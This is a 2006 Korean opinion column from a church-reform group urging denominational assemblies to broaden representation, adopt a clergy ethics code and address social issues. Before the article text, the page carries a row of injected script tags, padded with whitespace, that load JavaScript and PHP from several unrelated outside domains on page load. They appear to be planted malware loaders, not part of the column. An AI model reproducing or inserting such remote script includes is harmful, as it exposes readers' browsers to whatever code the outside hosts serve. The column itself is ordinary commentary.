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칼럼 [구교형 칼럼]2006년 각 교단 총회에 바랍니다

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작성자 by 관리자 / 작성일06-09-05 13:57 / 조회 4,352 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    2006년 각 교단 총회에 바랍니다.

구교형 목사/ 교회개혁실천연대 사무국장



올해도 어김없이 가을이 되면 각 교단들의 정기총회가 실시된다(몇몇 교단은 5, 6월에 실시한 곳도 있다). 정기총회라면 말 그대로 한해의 살림살이와 비전 등을 다루는 그 단체의 가장 큰 잔치이지만 이 사실을 알거나, 생각하는 일반성도는 거의 없는 것이 한국교회의 실상이다. 그러다보니 총회가 시작되어 마감되는 그 순간까지 총대들을 제외한 대다수 성도들의 무관심 속에 치러지는 경우가 대부분이다.

우리 교회개혁실천연대를 비롯한 17개 교계 단체들은 교단총회에 대한 관심을 부각시키고, 올바른 총회활동을 제안하기 위해서 ‘올바른교단총회정착을위한공동대책위원회’(이하 ‘교단총회 공대위’)를 결성하여 활동하고 있다. 이제 9, 10월 대부분의 총회 일정을 앞두고 있는 각 교단에 다음과 같은 제언을 드린다.


1. 교단총회는 다양한 교회구성원들의 목소리를 수렴할 수 있어야 한다.

각 교단은 적게는 수 백 명에서 많게는 1,000명이 넘는 총대들이 같은 장소, 같은 일정에 모여 1년 동안의 다양한 현안들을 다룬다. 그러나 이러한 총회의 구조는 생산적인 논의와 깊이 있는 제안을 원천적으로 불가능하게 만든다. 수 많은 안건들과 그 안건에 별로 정통하지 못한 총대들이 세심하게 의제를 살피기는 어렵기 때문이다. 그러다 보니 총회는 자주 몇몇 ‘총회꾼’들의 목소리만 들리는 들러리총회가 되곤 한다.
지난 5월에 치러졌던 기독교대한하나님의성회(총회장: 장희열 목사) 총회야 말로 관중으로 전락한 대다수 총대들과 시종일관 고압적 자세를 보였던 임원들의 모습이 두드러졌던 현장이었다. 결국 기하성 총회는 산적한 현안들에 아랑곳없는 의사진행 일정을 보이다가 의제의 상당부분을 임원회와 실행위에 넘긴 채 서둘러 폐회하였다.

이와 함께 우리는 총회가 다양한 계층과 세대의 관심을 수렴할 수 있도록 총대구성을 다양화해야 한다고 주장한다. 50대 이상의 장로, 목사만으로 구성된 총대가 과연 한국교회 다양한 연령, 다양한 계층, 다양한 직분들의 생각과 마음들을 수렴할 수 있을지 의문이다. 무엇보다 한국교회의 대다수를 차지하고 있는 여성성도들은 개교회에서 뿐 아니라 총회에서도 안내원 이상의 위치를 차지하지 못하고 있다는 것은 매우 근심스러운 일이다. 그럼에도 불구하고 여성목사 안수는커녕 여성총대의 숫자조차 총회에서 거의 반영되지 못하고 있는 점은 시급히 해결해야 할 문제이다. 그런 면에서 마치 국회가 선거를 통해 뽑는 지역대표 외에 소외될 수 있는 직능별(여성, 노동자, 농민, 장애우, 청년 등)대표를 비례제로 구성되는 것과 마찬가지로 교단총회도 이러한 세대별, 직능별 대표성을 가진 총대를 적정수 선발할 수 있어야 한다.


2. 교단총회는 문제점들을 고쳐가는 개혁의 현장이 되어야 한다.

요즘 교회내 분쟁과 특히 목회자와 관련된 부끄러운 일들이 자주 터져 나오고 있는 실정이다. 교단총회는 이러한 문제들을 단지 몇몇 교회들만의 문제, 소수 몰지각한 직분자들의 추태라고만 여겨서는 안된다. 이미 이러한 문제들은 구조화되었고, 터지지만 않았을 뿐 언제라도 곪아터질 조건이 되어 있다. 교단총회는 이러한 문제점들의 원인과 대책을 실제적으로 고민하고 시정할 수 있는 총회가 되어야 한다. 교계 안팎의 모든 통계들에서 기독교세의 퇴조가 분명히 드러나고 있는 현실의 핵심에는 교회(기독교)에 대한 세상(사회)의 불신이 있다(최대 종교이탈율, 최소 종교호감도). 작년 종교 지도자의 자질이 우수성을 묻는 한 기관의 질문에서 개신교(12.0%) 천주교(31.8%) 불교(21.2%)로, 개신교 종교지도자에 대한 비종교인의 불신이 높은 것으로도 확인됐다. 따라서 우리는 분명한 처벌의지를 담은 목회자 윤리강령을 채택하여 정말 세상에 모범이 되고, 책임있는 목회자들이 한국교회를 이끌어나갈 수 있도록 만들어가야 한다.

3. 끝으로 교단총회는 한국교회와 사회의 미래를 이야기하는 자리여야 한다.

우리 주님께서 그분을 믿는 제자들에게 하나님나라의 비전을 보며 세상을 바꿔가라는 명령을 주신 것이 맞다면 교단총회는 언제까지나 임원선거, 노회(지방회) 경계조정, 건축문제만 논의하는 자리여서는 안된다. ‘심각해져 가는 우리 사회의 양극화 문제를 어떻게 해소할 것인가’, ‘장애우들의 복지대책을 교회가 어떻게 준비할 것인가’, ‘한반도 평화와 통일을 위해 교단은 어떻게 준비할 것인가’ 등 마땅히 관심 가져야 할 사안들을 지금부터라도 준비하고, 논의하며, 대책을 마련해 갈 때 한국사회는 교회를 바라보며 희망을 생각할 것이다. 이번 가을 총회가 말로만의 성총회가 아니라 그러한 주님의 마음을 이해하는 거듭난 총회가 되기를 바란다.
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